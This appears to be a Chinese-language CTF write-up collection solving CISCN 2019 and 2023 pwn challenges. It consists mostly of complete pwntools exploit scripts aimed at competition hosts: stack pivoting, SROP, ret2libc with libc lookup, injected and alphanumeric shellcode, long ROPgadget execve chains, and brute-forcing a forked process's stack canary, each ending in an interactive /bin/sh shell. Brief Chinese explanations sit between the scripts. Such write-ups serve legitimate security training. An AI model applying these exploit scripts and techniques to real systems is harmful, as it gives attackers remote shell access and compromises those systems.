if ( !isprint(a1[i]) && a1[i] != 10 )
{
puts("oh!");
exit(-1);
}
}
if ( unk_202028 != 1 )
{
puts("oh!");
exit(-1);
}
if ( unk_202024 )
{
v1 = getpagesize();
dest = (void *)(int)mmap((char *)&loc_FFE + 2, v1, 7, 34, 0, 0LL);
v2 = strlen(a1);
memcpy(dest, a1, v2);
((void (*)(void))dest)(); //shellcode利用转换执行
}
else
{
puts(a1);
}
return __readfsqword(0x28u) ^ v6;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
push edx
push 0x36363630
push esp
pop ecx
xor dword ptr ds:[ecx],esi
xor esi,dword ptr ds:[ecx]
pop eax
push 0x33333333
xor dword ptr ds:[ecx],esi
imul esi,dword ptr ds:[ecx],0x33
pop eax
push 0x69
push esi
xor dword ptr ds:[ecx],esi
dec eax
arpl word ptr ds:[ecx],si
pop edx
pop eax
pop ecx
xor word ptr ds:[ecx+esi*2+0x49],dx
dec eax
cmp word ptr ds:[ebx+0x44],bp
jno short tested.004780A6
xor byte ptr ds:[edx],dh
inc esp
jno short tested.004780AC
xor byte ptr ds:[ecx+esi+0x48],al
jnz short tested.0047808D
dec ebp
xor al,byte ptr ds:[edi+0x30]
pop edx
xor ch,byte ptr ds:[edi+0x34]
dec eax
xor byte ptr ss:[ebp+0x30],dh
push eax
xor dword ptr ds:[esi],esi
xor byte ptr ds:[edx+0x30],bl
aaa
dec edi
xor byte ptr ds:[edx+0x30],bl
inc ebx
xor dword ptr ds:[eax],esi
xor byte ptr ds:[ecx+0x35],bh
dec edi
xor eax,dword ptr ds:[edi+0x30]
xor dh,byte ptr ds:[eax]
inc edx
xor ch,byte ptr ds:[esi+0x30]
xor byte ptr ss:[esi+0x34],cl
jno short tested.004780B8
outs dx,byte ptr es:[edi]
xor dh,byte ptr ds:[eax+esi+0x42]
xor byte ptr ds:[eax],dh
xor byte ptr ds:[ecx],dh
xor byte ptr ds:[ecx],dh
xor byte ptr ds:[eax+0x33],cl
push ebx
xor bh,byte ptr ds:[ecx+0x30]
pop ecx
xor byte ptr ds:[edi+0x30],cl
outs dx,byte ptr es:[edi]
xor byte ptr ds:[edx+0x30],bh
xor dword ptr ds:[ebx],esi
xor al,0x30
xor al,byte ptr fs:[esi+0x34]
jns short tested.004780E4
push eax
xor dword ptr ds:[ecx],esi
xor eax,0x306E316C
dec edx
xor byte ptr ds:[eax+0x30],ch
popad
xor byte ptr ds:[edi],dh
xor byte ptr ds:[eax+eax],dh
add bh,bh
add byte ptr ds:[eax],al
add bh,bh

pop eax
inc ecx

shellcode:/bin/sh

1
2
3
4
5
6
7
8
9
10
11
12
13
#!/usr/bin/env python
#coding=utf-8

from pwn import*

io = remote(ip,port)
libc = ELF('./libc-2.23.so')
io.recvuntil(">>>")
io.sendline('opt:1\r\nmsg:ro0t\r\n') ##绕过1
shellcode = 'Rh0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M2G0Z2o4H0u0P160Z0g7O0Z0C100y5O3G020B2n060N4q0n2t0B0001010H3S2y0Y0O0n0z01340d2F4y8P115l1n0J0h0a070t'
io.recvuntil(">>>")
io.sendline('opt:2\r\nmsg:'+shellcode+'\r\n') #poc
io.interactive()

[CISCN 2019 东南]PWN2

题目说明

栈迁移

解题思路

read 读 0x30,但 s 已经 0x28,长度不够,考虑栈迁移。找一下 gadget

接下来我们尝试把/bin/sh 写入 s,找一下 s 的地址

在 vul 函数上输点奇怪的东西,然后找一下他

ebp 就变成奇怪的形状了(大雾),算一下 ebp 的偏移

1
2
3
4
5
Padding = b'A' * 0x27 + b'C'
io.send(Padding)
io.recvuntil(b'C')
EBP = u32(io.recv(4))
s = EBP - 0x38

首先是接收 EBP 地址的 Payload。

Printf 会在字符串结尾加上一个’\x00’。我们手动填满 buf 即可让 printf 打印出 EBP 的地址。

1
2
3
Payload = (b'A' * 0x04) + p32(system) + p32(vul) + p32(s + 0x10) + b'/bin/sh'
Payload = Payload.ljust(0x28,b'\x00')
Payload += p32(s) + p32(leave_ret)

(b’A’ * 0x04) 栈对齐

system 调用 system 函数

vul 返回地址,随便填 防止程序崩溃

s + 0x10 为什么是 0x10,32 位中地址长度是 0x04,而此处 Payload 从第一个开始算到第四个,4x4 = 16 = 0x10。

b’/bin/sh’ 将 /bin/sh 字符串送入栈中

ljust 在 payload 的末尾填充空字节,填充的大小为 0x28-len(Payload)

s 指向本段 ROP 链的地址,覆盖了 ebp

leave_ret 将 eip 覆盖为 ebp,也就是刚才的 s,执行 ROP 链

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
from pwn import *

context(arch='i386',os='linux',log_level='debug')

io = remote('node3.anna.nssctf.cn',28243)
#io = process('./CISCN_2019_PWN2')
elf = ELF('./pwn2')

Padding = b'A' * 0x27 + b'C'
system = elf.plt['system']
vul = elf.sym['vul']
leave_ret = 0x80484b8

io.send(Padding)
io.recvuntil(b'C')
EBP = u32(io.recv(4))
s = EBP - 0x38

Payload = (b'A' * 0x04) + p32(system) + p32(vul) + p32(s + 0x10) + b'/bin/sh'
Payload = Payload.ljust(0x28,b'\x00')
Payload += p32(s) + p32(leave_ret)

io.sendline(Payload)
io.interactive()

[CISCN 2019 华南]PWN3

题目说明

srop 不会,贴个 exp 先

解题思路

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
from pwn import *
context(log_level='debug',arch='amd64', os='linux')
# io = process("./hnpwn3")
io = remote("node1.anna.nssctf.cn",28434)
elf = ELF("./hnpwn3")

syscall = 0x400517
gadget = 0x4004DA
vuln = 0x4004ED

# gdb.attach(io,"b *main")

io.send(b"a"*0x10+p64(vuln))
io.recv(0x20)
# print()
stack = u64(io.recv(6).ljust(8,b'\x00')) -0x118
print("stack -> " + hex(stack))

frame = SigreturnFrame()
frame.rax = 59
frame.rdi = stack
frame.rip = syscall
frame.rsi = 0

payload = b"/bin/sh\x00"*0x2 + p64(gadget) + p64(syscall) + bytes(frame)
io.send(payload)
io.interactive()

[CISCN 2019 东北]PWN2

题目说明

strlen+ret2libc

解题思路

关键在这里

strlen 函数会被\x00 截断,所以截断后再接上 payload 即可造成溢出

确认一下没有 canary,后面 ret2libc 就行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
from pwn import *
import sgtlibc
context.log_level='debug'
p=remote('node1.anna.nssctf.cn',28462)
elf=ELF('./[CISCN 2019东北]PWN2')
p.recvuntil(b'choice!')
p.sendline(str(1))

puts_got=elf.got['puts']
puts_plt=elf.plt['puts']

ret=0x00000000004006b9
pop_rdi=0x0000000000400c83
main=elf.symbols['main']
payload=b'\x00'
payload+=b'a'*0x57
payload+=p64(pop_rdi)
payload+=p64(puts_got)
payload+=p64(puts_plt)
payload+=p64(main)

p.recvuntil('be encrypted')
p.sendline(payload)

puts_addr=u64(p.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))
print(hex(puts_addr))

log.info("puts addr is :%x"%puts_addr)
s = sgtlibc.Searcher()
s.add_condition('puts',puts_addr)
s.dump(db_index=2) # search libc , if returns multi-result ,default use index-0's result

system_addr = s.get_address(sgtlibc.s_system)
binsh_addr = s.get_address(sgtlibc.s_binsh)
puts_addr_ = s.get_address(sgtlibc.s_puts)

print(hex(system_addr), hex(binsh_addr), hex(puts_addr_))
libc_base = puts_addr - puts_addr_
system = libc_base + system_addr
bin_sh = libc_base + binsh_addr
p.recvuntil(b'choice!')
p.sendline(str(1))
p.recvuntil('be encrypted')

payload=b'\x00'+b'a'*0x57+p64(ret)+p64(pop_rdi)+p64(bin_sh)+p64(system)+p64(ret)

p.sendline(payload)
p.interactive()

[CISCN 2019 华中]PWN1

题目说明

ret2libc

解题思路

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
from pwn import *
import sgtlibc

io = remote('node2.anna.nssctf.cn',28993)
elf=ELF('./ciscn_2019')

pop_rdi_ret = 0x400c83
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
ret_addr = 0x4006b9
main = 0x400b28

io.sendlineafter('choice!\n','1')

payload =b'\0'+b'a'*(0x50-1+8)+p64(pop_rdi_ret)+p64(puts_got)+p64(puts_plt)+p64(main)

io.sendlineafter('encrypted\n',payload)

puts_addr = u64(io.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))

log.info("puts addr is :%x"%puts_addr)
s = sgtlibc.Searcher()
s.add_condition('puts',puts_addr)
s.dump(db_index=2) # search libc , if returns multi-result ,default use index-0's result

system_addr = s.get_address(sgtlibc.s_system)
binsh_addr = s.get_address(sgtlibc.s_binsh)
puts_addr_ = s.get_address(sgtlibc.s_puts)

print(hex(system_addr), hex(binsh_addr), hex(puts_addr_))
libc_base = puts_addr - puts_addr_
system = libc_base + system_addr
bin_sh = libc_base + binsh_addr

io.sendlineafter('choice!\n','1')

payload =b'\0'+b'a'*(0x50-1+8)+p64(ret_addr)+p64(pop_rdi_ret)+p64(bin_sh)+p64(system)
io.sendlineafter('encrypted\n',payload)
io.interactive()

[CISCN 2019 华南]PWN4

题目说明

栈迁移(跟上面东南 pwn2 是一样的?)

解题思路

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
from pwn import *
context(log_level='debug',arch='i386', os='linux')

p=remote('node2.anna.nssctf.cn',28823)
# p=process('./hnpwn4')
elf=ELF('./ciscn_2019')

sys_addr=0x8048400
leave_ret=0x080484b8

payload1 = b'a'*0x27
p.sendlineafter('name?\n',payload1)
p.recvuntil('\n')
oldebp = u32(p.recv(4))

payload2 = b'a'*4+p32(sys_addr)+p32(0)+p32(oldebp-0x28)+b'/bin/sh'
payload2 = payload2.ljust(0x28,b'\0')
payload2+=p32(oldebp-0x38)+p32(leave_ret)
p.sendlineafter('\n',payload2)

p.interactive()

[CISCN 2019 华北]PWN5

题目说明

shellcode

解题思路

什么保护都没有

把 shellcode 写在 text 上再跳过去执行就好

给了这么长的空间,这多是一件美事儿啊。直接用 shellcraft

1
2
3
4
5
6
7
8
9
10
11
12
13
14
from pwn import *
context(log_level='debug',arch='amd64', os='linux')
io = remote('node1.anna.nssctf.cn',28920)

shellcode = asm(shellcraft.sh())
io.sendlineafter(b'name',shellcode)

name = 0x601080
payload = b'a'*0x28 + p64(name)

io.recvuntil(b'me?\n')
io.send(payload)

io.interactive()

[CISCN 2019 华南]PWN8

题目说明

这道题比较奇妙

我不是很懂这一整个是什么程序

解题思路

ida 打开全都是这种 jb 函数,所以靠运行时的字符找主函数(ALT+T)

找到这里,再跟一下里面几个函数

sub_410550 就是 printf

sub_449BE0 就是一个 read 函数

重头戏在 sub_400C40:

它会把传入的字符进行异或再返回到“主函数”

所以我们构造 payload 的时候记得先异或就好了

但是这么多个函数怎么构造 ropchain 呢

是静态链接,我们借用 ROPgadget 完成 ropchain 的构造:

ROPgadget –binary helloworld –ropchain

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
ROP chain generation
===========================================================

- Step 1 -- Write-what-where gadgets

[+] Gadget found: 0x47f7b1 mov qword ptr [rsi], rax ; ret
[+] Gadget found: 0x4040fe pop rsi ; ret
[+] Gadget found: 0x449b9c pop rax ; ret
[+] Gadget found: 0x444f00 xor rax, rax ; ret

- Step 2 -- Init syscall number gadgets

[+] Gadget found: 0x444f00 xor rax, rax ; ret
[+] Gadget found: 0x474c00 add rax, 1 ; ret
[+] Gadget found: 0x474c01 add eax, 1 ; ret

- Step 3 -- Init syscall arguments gadgets

[+] Gadget found: 0x4006e6 pop rdi ; ret
[+] Gadget found: 0x4040fe pop rsi ; ret
[+] Gadget found: 0x449bf5 pop rdx ; ret

- Step 4 -- Syscall gadget

[+] Gadget found: 0x40139c syscall

- Step 5 -- Build the ROP chain

#!/usr/bin/env python3
# execve generated by ROPgadget

from struct import pack

# Padding goes here
p = b''

p += pack('<Q', 0x00000000004040fe) # pop rsi ; ret
p += pack('<Q', 0x00000000006ba0e0) # @ .data
p += pack('<Q', 0x0000000000449b9c) # pop rax ; ret
p += b'/bin//sh'
p += pack('<Q', 0x000000000047f7b1) # mov qword ptr [rsi], rax ; ret
p += pack('<Q', 0x00000000004040fe) # pop rsi ; ret
p += pack('<Q', 0x00000000006ba0e8) # @ .data + 8
p += pack('<Q', 0x0000000000444f00) # xor rax, rax ; ret
p += pack('<Q', 0x000000000047f7b1) # mov qword ptr [rsi], rax ; ret
p += pack('<Q', 0x00000000004006e6) # pop rdi ; ret
p += pack('<Q', 0x00000000006ba0e0) # @ .data
p += pack('<Q', 0x00000000004040fe) # pop rsi ; ret
p += pack('<Q', 0x00000000006ba0e8) # @ .data + 8
p += pack('<Q', 0x0000000000449bf5) # pop rdx ; ret
p += pack('<Q', 0x00000000006ba0e8) # @ .data + 8
p += pack('<Q', 0x0000000000444f00) # xor rax, rax ; ret
p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
p += pack('<Q', 0x000000000040139c) # syscall

很可惜,这段 ropchain 还是太长了,还需要缩短,最后结果 exp 如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
from ctypes import *
from pwn import *
#io = process('./pwn')
io = remote('node3.anna.nssctf.cn',28324)
context(log_level='debug',arch='amd64', os='linux')
elf = ELF('./easy_pwn')
from struct import pack
# Padding goes here
p = b''
p += pack('<Q', 0x00000000004040fe) # pop rsi ; ret
p += pack('<Q', 0x00000000006ba0e0) # @ .data
p += pack('<Q', 0x0000000000449b9c) # pop rax ; ret
p += b'/bin//sh'
p += pack('<Q', 0x000000000047f7b1) # mov qword ptr [rsi], rax ; ret
p += pack('<Q', 0x00000000004040fe) # pop rsi ; ret
p += pack('<Q', 0x00000000006ba0e8) # @ .data + 8
p += pack('<Q', 0x0000000000444f00) # xor rax, rax ; ret
p += pack('<Q', 0x000000000047f7b1) # mov qword ptr [rsi], rax ; ret
p += pack('<Q', 0x00000000004006e6) # pop rdi ; ret
p += pack('<Q', 0x00000000006ba0e0) # @ .data
p += pack('<Q', 0x00000000004040fe) # pop rsi ; ret
p += pack('<Q', 0x00000000006ba0e8) # @ .data + 8
p += pack('<Q', 0x0000000000449bf5) # pop rdx ; ret
p += pack('<Q', 0x00000000006ba0e8) # @ .data + 8
p += pack('<Q', 0x0000000000444f00) # xor rax, rax ; ret
p += pack('<Q', 0x0000000000449b9c) # pop rax ; ret
p += p64(59)
p += pack('<Q', 0x000000000040139c) # syscall
ep = b''
for i in range(len(p)):
ep += p8(ord(p[i:i+1]) ^ 0x66)


payload = b'a'*0x50 + ep
io.sendafter(b'Password: \n', payload)
io.interactive()

[CISCN 2023 华南] 烧烤摊儿

题目说明

整数溢出把摊买下来,改名儿的时候存在溢出,静态链接用 ROPgadget 生成 ropchain

解题思路

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
from pwn import *
context(os='linux', arch='amd64', log_level='debug')
elf = ELF('./shaokao')
#io = process('./shaokao')
io = remote('39.106.71.184',34604)

def sla(a,b):
io.sendlineafter(a,b)

def buy():
sla("> ","1")
sla("3. 勇闯天涯","1")
sla("来几瓶?","-114514")

def cancan():
sla("> ","3")

def vip():
sla("> ","4")

def play(data):
sla("> ","5")
sla("烧烤摊儿已归你所有,请赐名:",data)

cancan()
buy()
cancan()
vip()

#ROPgadget --binary shaokao --ropchain

from struct import pack
# Padding goes here
p = b''

p += pack('<Q', 0x000000000040a67e) # pop rsi ; ret
p += pack('<Q', 0x00000000004e60e0) # @ .data
p += pack('<Q', 0x0000000000458827) # pop rax ; ret
p += b'/bin//sh'
p += pack('<Q', 0x000000000045af95) # mov qword ptr [rsi], rax ; ret
p += pack('<Q', 0x000000000040a67e) # pop rsi ; ret
p += pack('<Q', 0x00000000004e60e8) # @ .data + 8
p += pack('<Q', 0x0000000000447339) # xor rax, rax ; ret
p += pack('<Q', 0x000000000045af95) # mov qword ptr [rsi], rax ; ret
p += pack('<Q', 0x000000000040264f) # pop rdi ; ret
p += pack('<Q', 0x00000000004e60e0) # @ .data
p += pack('<Q', 0x000000000040a67e) # pop rsi ; ret
p += pack('<Q', 0x00000000004e60e8) # @ .data + 8
p += pack('<Q', 0x00000000004a404b) # pop rdx ; pop rbx ; ret
p += pack('<Q', 0x00000000004e60e8) # @ .data + 8
p += pack('<Q', 0x4141414141414141) # padding
p += pack('<Q', 0x0000000000447339) # xor rax, rax ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000402404) # syscall

payload = b'a'*0x28 + p
play(payload)

io.interactive()

[CISCN 2023 华南]funcanary

题目说明

解题思路

保护全开,吓人吧

Cancanneed main 函数

重头戏在 fork 函数,每次循环它都会开出一个子进程(sub_128A),子进程中存在溢出。特别的,子进程的 canary 是不变的。我们可以利用这些特性对 canary 地址进行爆破

看汇编还找到个后门函数,比赛时只看到了字符串没找到这个地方

程序开启了 PIE 保护,canary 后三位固定,爆破 canary 第四位地址即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
from pwn import *

context(log_level = 'debug')

#io = process('./funcanary')
io = remote('47.93.249.245', '41984')
elf = ELF('./funcanary')

io.recvuntil(b'welcome\n')
canary = b'\x00'
for k in range(7):
for i in range(256):
payload = b'A'*0x68 + canary + p8(i)
io.send(payload)
a = io.recvuntil(b'welcome\n')
if b'have fun' in a:
canary += p8(i)
print(canary)
break
#print(b'canary:' + canary)
print(k, canary)
print(canary)
io.interactive()
# 0x1324
backdoor = 0x1229
context(log_level ='debug')
for m in range(16):
tmp = m * 16 + 2
payload = b'A'*0x68 + canary + b'deadbeef' + b'\x31' + p8(tmp)
io.send(payload)
a = io.recvline()
print(a)
if b'flag' in a:
io.interactive()
print('m = ' + str(m))
print(b'\x29' + str(tmp).encode())
#try:
#a = rcvuntil(b'flag')
#io.interactive()
#except:
#pass
io.interactive()

最后都没打通,看 wp 说是要尝试多次,等复现环境上线再看看

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
from pwn import*
from ctypes import *
#io = process("./pwn")
io =remote('node1.anna.nssctf.cn',28422)
elf = ELF("./funcanary")

#libc = ELF("./glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so")

context.arch = "amd64"
context.log_level = "debug"
def debug():
gdb.attach(io)
pause()

io.recvuntil("welcome")
canary = b'\x00'
for j in range(7):

for i in range(0x100):

io.send(cyclic(0x68) + canary + i.to_bytes(1,'little'))

a = io.recvuntil('welcome\n')

if b'have fun' in a:

canary += i.to_bytes(1,'little')

break
payload = cyclic(0x68)+canary+cyclic(0x8)+b'\x28\x02'
io.send(payload)
payload = cyclic(0x68)+canary+cyclic(0x8)+b'\x28\x12'
io.send(payload)
payload = cyclic(0x68)+canary+cyclic(0x8)+b'\x28\x22'
io.send(payload)
payload = cyclic(0x68)+canary+cyclic(0x8)+b'\x28\x32'
io.send(payload)
payload = cyclic(0x68)+canary+cyclic(0x8)+b'\x28\x42'
io.send(payload)
payload = cyclic(0x68)+canary+cyclic(0x8)+b'\x28\x52'
io.send(payload)
payload = cyclic(0x68)+canary+cyclic(0x8)+b'\x28\x62'
io.send(payload)
payload = cyclic(0x68)+canary+cyclic(0x8)+b'\x28\x72'
io.send(payload)
payload = cyclic(0x68)+canary+cyclic(0x8)+b'\x28\x82'
io.send(payload)
payload = cyclic(0x68)+canary+cyclic(0x8)+b'\x28\x92'
io.send(payload)
payload = cyclic(0x68)+canary+cyclic(0x8)+b'\x28\xa2'
io.send(payload)
payload = cyclic(0x68)+canary+cyclic(0x8)+b'\x28\xb2'
io.send(payload)
payload = cyclic(0x68)+canary+cyclic(0x8)+b'\x28\xc2'
io.send(payload)
payload = cyclic(0x68)+canary+cyclic(0x8)+b'\x28\xd2'
io.send(payload)
payload = cyclic(0x68)+canary+cyclic(0x8)+b'\x28\xe2'
io.send(payload)
payload = cyclic(0x68)+canary+cyclic(0x8)+b'\x28\xf2'
io.send(payload)
io.interactive()

这个能打通